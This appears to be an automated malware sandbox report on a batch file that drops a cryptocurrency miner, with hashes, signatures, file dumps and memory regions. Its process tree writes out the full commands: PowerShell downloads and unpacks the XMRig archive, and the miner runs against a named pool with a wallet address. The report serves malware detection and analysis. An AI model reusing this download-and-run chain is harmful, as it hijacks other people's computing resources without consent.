Analysis

  • max time kernel
    1794s
  • max time network
    1800s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-12-2023 05:51

General

  • Target

    tesy - Copy (13).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3852
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3756

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f8a2822d472be1915b4fba19b7a7486a

    SHA1

    a52b4dbfb198dd1378c427214ee9e2454abb7668

    SHA256

    6158b2aa6dd5b3369ce00395d06d0c536006b8a2bd5c2a081205691d18449849

    SHA512

    b2f30f6141c91ed2b52c6e4379d9e418d8815a33b8a144b4191b4d4d060f4a4c75ee7b728594714db83e9a97aed4d44bf2090d33ae211b89f007bd1165b682bd

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_apaioyof.gik.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    88KB

    MD5

    afe45a4f5fbfcfc099b51071f0d75a5e

    SHA1

    223878b1c09dbfd1fbd5ce1bf3a0b28e225edd1c

    SHA256

    e7c41188ce59ad3aeb564f2b4af474ff70c259f08d7a97be576a92acb47b84f0

    SHA512

    ccbbc76d103cef2da836896b6c349c1b96ee297b51754aa4eb627f4a783da920710dc635f45dc8008b6d193e1181280dc2665a0d5f372ca573eb8edfb17c72ef

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    38KB

    MD5

    1c08d65ca2093b4b2f0940909afde249

    SHA1

    e7b3247722ecc1e7677b323f050f4ac708a0a22c

    SHA256

    036770055a5cb5e7fe0edd333d520b2dd5d427cd6e44be534e63662a02f0bf23

    SHA512

    dd44e989d1fefdd4bf5fd4d3cc775c99e273697981900b91db76e62a6c8614a4e30e52551bd59c0c72f30abd39d49ef3dddb5f1b1ccbac9219d54303793d0fd7

  • memory/3756-143-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-128-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-188-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-187-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-186-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-185-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-184-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-183-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-182-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-181-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-180-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-179-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-178-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-177-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-176-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-175-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-174-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-146-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-173-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-121-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-122-0x00000144E7570000-0x00000144E7590000-memory.dmp

    Filesize

    128KB

  • memory/3756-123-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-124-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-126-0x0000014579F50000-0x0000014579F70000-memory.dmp

    Filesize

    128KB

  • memory/3756-125-0x00000144E7590000-0x00000144E75B0000-memory.dmp

    Filesize

    128KB

  • memory/3756-127-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-145-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-130-0x0000014579F50000-0x0000014579F70000-memory.dmp

    Filesize

    128KB

  • memory/3756-129-0x00000144E7590000-0x00000144E75B0000-memory.dmp

    Filesize

    128KB

  • memory/3756-131-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-132-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-133-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-134-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-135-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-136-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-137-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-138-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-139-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-140-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-141-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-142-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-172-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-154-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-171-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-120-0x00000144E5C30000-0x00000144E5C50000-memory.dmp

    Filesize

    128KB

  • memory/3756-147-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-148-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-149-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-150-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-151-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-152-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-153-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-144-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-155-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-156-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-157-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-158-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-159-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-160-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-161-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-162-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-163-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-164-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-165-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-166-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-167-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-168-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-169-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-170-0x00007FF771DB0000-0x00007FF7728B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3852-42-0x0000020CB2F90000-0x0000020CB2FA0000-memory.dmp

    Filesize

    64KB

  • memory/3852-66-0x0000020CB2F90000-0x0000020CB2FA0000-memory.dmp

    Filesize

    64KB

  • memory/3852-40-0x00007FF8C3930000-0x00007FF8C431C000-memory.dmp

    Filesize

    9.9MB

  • memory/3852-117-0x00007FF8C3930000-0x00007FF8C431C000-memory.dmp

    Filesize

    9.9MB

  • memory/3852-80-0x0000020CCB870000-0x0000020CCB882000-memory.dmp

    Filesize

    72KB

  • memory/3852-93-0x0000020CCB380000-0x0000020CCB38A000-memory.dmp

    Filesize

    40KB

  • memory/3852-41-0x0000020CB2F90000-0x0000020CB2FA0000-memory.dmp

    Filesize

    64KB

  • memory/4356-26-0x00007FF8C3930000-0x00007FF8C431C000-memory.dmp

    Filesize

    9.9MB

  • memory/4356-25-0x000002CB613C0000-0x000002CB613D0000-memory.dmp

    Filesize

    64KB

  • memory/4356-4-0x000002CB613D0000-0x000002CB613F2000-memory.dmp

    Filesize

    136KB

  • memory/4356-6-0x000002CB613C0000-0x000002CB613D0000-memory.dmp

    Filesize

    64KB

  • memory/4356-7-0x000002CB613C0000-0x000002CB613D0000-memory.dmp

    Filesize

    64KB

  • memory/4356-10-0x000002CB61580000-0x000002CB615F6000-memory.dmp

    Filesize

    472KB

  • memory/4356-34-0x00007FF8C3930000-0x00007FF8C431C000-memory.dmp

    Filesize

    9.9MB

  • memory/4356-29-0x000002CB613C0000-0x000002CB613D0000-memory.dmp

    Filesize

    64KB

  • memory/4356-28-0x000002CB613C0000-0x000002CB613D0000-memory.dmp

    Filesize

    64KB

  • memory/4356-27-0x000002CB613C0000-0x000002CB613D0000-memory.dmp

    Filesize

    64KB

  • memory/4356-5-0x00007FF8C3930000-0x00007FF8C431C000-memory.dmp

    Filesize

    9.9MB